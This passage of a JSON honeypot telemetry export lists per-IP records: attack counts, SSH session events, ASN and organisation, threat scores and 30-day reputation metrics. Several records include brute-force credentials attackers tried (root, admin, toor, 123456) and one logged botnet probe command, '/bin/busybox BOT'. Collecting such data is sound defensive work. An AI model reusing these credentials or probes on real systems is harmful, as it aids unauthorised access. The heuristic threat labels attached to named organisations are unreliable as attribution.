        "first_seen_30d": "2026-04-06T12:16:04+00:00",
        "last_seen_30d": "2026-04-17T07:54:44.710000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Suricata": 18,
        "Cowrie": 10,
        "Honeytrap": 6
      }
    },
    "106.13.22.244": {
      "attack_count": 9,
      "first_seen": "2026-04-02T20:34:28.734Z",
      "last_seen": "2026-04-02T21:14:55.023Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "@dmin@dmin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 38365,
      "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.",
      "threat_score": 2.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T20:34:28.734000+00:00",
        "last_seen_30d": "2026-04-02T21:15:58.239000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 9,
        "Suricata": 6
      }
    },
    "65.49.1.10": {
      "attack_count": 9,
      "first_seen": "2026-04-02T11:12:44.612Z",
      "last_seen": "2026-04-25T01:39:50.706Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 94.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 308,
        "days_active_30d": 30,
        "ports_targeted_30d": 87,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-04-01T03:30:31.007000+00:00",
        "last_seen_30d": "2026-04-30T14:28:47.623000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 177,
        "Honeytrap": 85,
        "Redishoneypot": 22,
        "Cowrie": 9,
        "Miniprint": 8,
        "Dionaea": 3,
        "ConPot": 2,
        "Tanner": 2
      }
    },
    "122.194.13.104": {
      "attack_count": 8,
      "first_seen": "2026-04-02T11:20:03.115Z",
      "last_seen": "2026-04-02T11:22:00.820Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 2.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T11:20:03.115000+00:00",
        "last_seen_30d": "2026-04-02T11:23:05.740000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 5
      }
    },
    "147.185.132.55": {
      "attack_count": 8,
      "first_seen": "2026-04-11T17:05:25.713Z",
      "last_seen": "2026-04-19T22:49:27.390Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 86.4,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.2,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 105,
        "days_active_30d": 29,
        "ports_targeted_30d": 25,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-01T03:54:19.263000+00:00",
        "last_seen_30d": "2026-04-29T22:06:53.059000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 66,
        "Honeytrap": 22,
        "Cowrie": 8,
        "Mailoney": 5,
        "Adbhoney": 4
      }
    },
    "185.220.101.190": {
      "attack_count": 8,
      "first_seen": "2026-04-23T18:21:34.379Z",
      "last_seen": "2026-04-23T18:21:57.019Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Brandenburg",
      "asn": 60729,
      "as_org": "Stiftung Erneuerbare Freiheit",
      "threat_score": 18.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-23T18:21:34.379000+00:00",
        "last_seen_30d": "2026-04-23T18:23:01.881000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 3
      }
    },
    "213.177.179.62": {
      "attack_count": 8,
      "first_seen": "2026-04-05T18:13:23.960Z",
      "last_seen": "2026-04-09T16:06:24.266Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": null,
      "asn": 208137,
      "as_org": "Feo Prest SRL",
      "threat_score": 8.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T18:13:23.960000+00:00",
        "last_seen_30d": "2026-04-09T16:07:27.223000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 8
      }
    },
    "79.106.123.175": {
      "attack_count": 8,
      "first_seen": "2026-04-09T13:39:54.338Z",
      "last_seen": "2026-04-09T13:40:07.880Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "enable",
        "root",
        "sh"
      ],
      "passwords_attempted": [
        "shell",
        "system",
        "toor"
      ],
      "commands_executed": [
        "/bin/busybox BOT"
      ],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params"
      ],
      "country": "Albania",
      "country_code": "AL",
      "city": "Tirana",
      "asn": 42313,
      "as_org": "One Albania Sh.a.",
      "threat_score": 6.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-09T13:39:54.338000+00:00",
        "last_seen_30d": "2026-04-09T13:41:14.618000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 1
      }
    },
    "93.15.254.46": {
      "attack_count": 8,
      "first_seen": "2026-04-27T19:13:53.832Z",
      "last_seen": "2026-04-27T19:21:55.587Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Villeneuve-le-Roi",
      "asn": 15557,
      "as_org": "Societe Francaise Du Radiotelephone - SFR SA",
      "threat_score": 21.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T19:13:53.832000+00:00",
        "last_seen_30d": "2026-04-27T19:22:58.265000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 5
      }
    },
    "172.202.113.141": {
      "attack_count": 7,
      "first_seen": "2026-04-07T23:02:37.013Z",
      "last_seen": "2026-04-07T23:02:47.014Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 26.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.6,
        "persistence": 10.0,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 23,
        "days_active_30d": 12,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-07T23:02:37.013000+00:00",
        "last_seen_30d": "2026-04-18T02:16:36.336000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Suricata": 14,
        "Cowrie": 7,
        "Honeytrap": 2
      }
    },
    "20.65.194.28": {
      "attack_count": 7,
      "first_seen": "2026-04-14T09:08:08.119Z",
      "last_seen": "2026-04-14T09:08:18.119Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Antonio",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 31.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.0,
        "persistence": 10.8,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 25,
        "days_active_30d": 13,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-08T22:01:40.817000+00:00",
        "last_seen_30d": "2026-04-20T13:13:02.589000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Suricata": 14,
        "Cowrie": 7,
        "Honeytrap": 4
      }
    },
    "66.228.53.78": {
      "attack_count": 7,
      "first_seen": "2026-04-09T09:19:47.042Z",
      "last_seen": "2026-04-09T09:19:47.384Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Richardson",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 69.6,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.0,
        "persistence": 18.3,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 79,
        "days_active_30d": 22,
        "ports_targeted_30d": 15,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-06T06:40:37.024000+00:00",
        "last_seen_30d": "2026-04-27T21:00:25.030000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 47,
        "Honeytrap": 24,
        "Cowrie": 7,
        "Honeyaml": 1
      }
    },
    "176.65.139.45": {
      "attack_count": 6,
      "first_seen": "2026-04-30T04:35:08.592Z",
      "last_seen": "2026-04-30T14:51:35.115Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Luxembourg",
      "country_code": "LU",
      "city": null,
      "asn": 214472,
      "as_org": "Offshore LC",
      "threat_score": 23.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T04:35:08.592000+00:00",
        "last_seen_30d": "2026-04-30T14:52:43.944000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 6
      }
    },
    "66.132.186.172": {
      "attack_count": 6,
      "first_seen": "2026-04-22T09:33:01.946Z",
      "last_seen": "2026-04-22T09:34:22.713Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 91.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.2,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 131,
        "days_active_30d": 30,
        "ports_targeted_30d": 36,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-04-01T03:17:38+00:00",
        "last_seen_30d": "2026-04-30T13:28:43.458000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 77,
        "Honeytrap": 32,
        "ElasticPot": 8,
        "Ciscoasa": 6,
        "Cowrie": 6,
        "ConPot": 1,
        "Dionaea": 1
      }
    },
    "87.236.176.74": {
      "attack_count": 6,
      "first_seen": "2026-04-15T11:58:00.163Z",
      "last_seen": "2026-04-15T11:58:03.668Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 211298,
      "as_org": "Driftnet Ltd",
      "threat_score": 18.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 11.7,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 14,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T09:55:47.215000+00:00",
        "last_seen_30d": "2026-04-15T12:08:04.851000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9,
        "Cowrie": 6
      }
    },
    "23.97.62.149": {
      "attack_count": 5,
      "first_seen": "2026-04-18T04:02:49.570Z",
      "last_seen": "2026-04-18T04:02:51.046Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "123456"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 13.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-18T04:00:53.958000+00:00",
        "last_seen_30d": "2026-04-18T09:49:27.585000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Suricata": 6,
        "Cowrie": 5
      }
    },
    "82.165.49.17": {
      "attack_count": 5,
      "first_seen": "2026-04-03T01:19:35.478Z",
      "last_seen": "2026-04-03T01:20:36.733Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 8560,
      "as_org": "IONOS SE",
      "threat_score": 2.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-03T01:19:35.478000+00:00",
        "last_seen_30d": "2026-04-03T01:23:04.884000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 4
      }
    },
    "103.126.174.228": {
      "attack_count": 4,
      "first_seen": "2026-04-29T01:15:12.356Z",
      "last_seen": "2026-04-29T01:17:14.730Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "Bandar Lampung",
      "asn": 138112,
      "as_org": "PT. Megarap Mitra Solusi",
      "threat_score": 20.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T01:15:12.356000+00:00",
        "last_seen_30d": "2026-04-29T01:18:46.603000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "154.12.227.231": {
      "attack_count": 4,
      "first_seen": "2026-04-30T17:10:28.613Z",
      "last_seen": "2026-04-30T17:11:12.129Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "St Louis",
      "asn": 40021,
      "as_org": "Contabo Inc.",
      "threat_score": 21.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T17:10:28.613000+00:00",
        "last_seen_30d": "2026-04-30T17:12:14.888000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "159.223.29.13": {
      "attack_count": 4,
      "first_seen": "2026-04-13T06:21:23.546Z",
      "last_seen": "2026-04-13T06:21:31.541Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 13.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-13T06:21:20+00:00",
        "last_seen_30d": "2026-04-13T06:22:32.054000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Suricata": 8,
        "Cowrie": 4,
        "Honeytrap": 1
      }
    },
    "183.212.244.159": {
      "attack_count": 4,
      "first_seen": "2026-04-12T04:54:18.659Z",
      "last_seen": "2026-04-12T04:54:44.359Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Wuxi",
      "asn": 56046,
      "as_org": "China Mobile communications corporation",
      "threat_score": 8.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-12T04:54:18.659000+00:00",
        "last_seen_30d": "2026-04-12T04:55:46.757000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "194.88.98.88": {
      "attack_count": 4,
      "first_seen": "2026-04-03T22:32:11.068Z",
      "last_seen": "2026-04-12T09:55:07.574Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 25369,
      "as_org": "Hydra Communications Ltd",
      "threat_score": 27.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.3,
        "persistence": 8.3,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 135,
        "days_active_30d": 10,
        "ports_targeted_30d": 60,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-03T19:08:54.754000+00:00",
        "last_seen_30d": "2026-04-12T09:56:08.616000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Suricata": 97,
        "Honeytrap": 33,
        "Cowrie": 4,
        "Tanner": 1
      }
    },
    "195.184.76.208": {
      "attack_count": 4,
      "first_seen": "2026-04-21T20:07:13.059Z",
      "last_seen": "2026-04-21T20:07:14.354Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Warrenton",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 81.4,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.4,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 138,
        "days_active_30d": 30,
        "ports_targeted_30d": 42,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T00:10:08+00:00",
        "last_seen_30d": "2026-04-30T23:37:54.964000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 105,
        "Honeytrap": 29,
        "Cowrie": 4
      }
    },
    "211.195.203.167": {
      "attack_count": 4,
      "first_seen": "2026-04-06T17:53:12.647Z",
      "last_seen": "2026-04-06T18:04:11.720Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Gyeyang-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 5.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.4,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T05:59:55.638000+00:00",
        "last_seen_30d": "2026-04-06T18:14:57.475000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Cowrie": 4
      }
    },
    "44.220.185.8": {
      "attack_count": 4,
      "first_seen": "2026-04-01T20:05:47.386Z",
      "last_seen": "2026-04-01T20:05:50.148Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 2.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T20:05:47.386000+00:00",
        "last_seen_30d": "2026-04-01T20:06:55.163000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "68.58.16.99": {
      "attack_count": 4,
      "first_seen": "2026-04-06T08:08:48.839Z",
      "last_seen": "2026-04-10T17:21:15.284Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Indianapolis",
      "asn": 7922,
      "as_org": "Comcast Cable Communications, LLC",
      "threat_score": 8.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T08:08:48.839000+00:00",
        "last_seen_30d": "2026-04-10T17:22:18.468000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "94.180.238.116": {
      "attack_count": 4,
      "first_seen": "2026-04-15T07:49:19.174Z",
      "last_seen": "2026-04-20T16:33:00.581Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Kazan'",
      "asn": 41668,
      "as_org": "JSC ER-Telecom Holding",
      "threat_score": 17.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-15T07:49:19.174000+00:00",
        "last_seen_30d": "2026-04-20T16:43:03.352000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "175.200.104.40": {
      "attack_count": 3,
      "first_seen": "2026-04-06T20:42:32.678Z",
      "last_seen": "2026-04-06T20:43:35.041Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Jinju",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 4.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
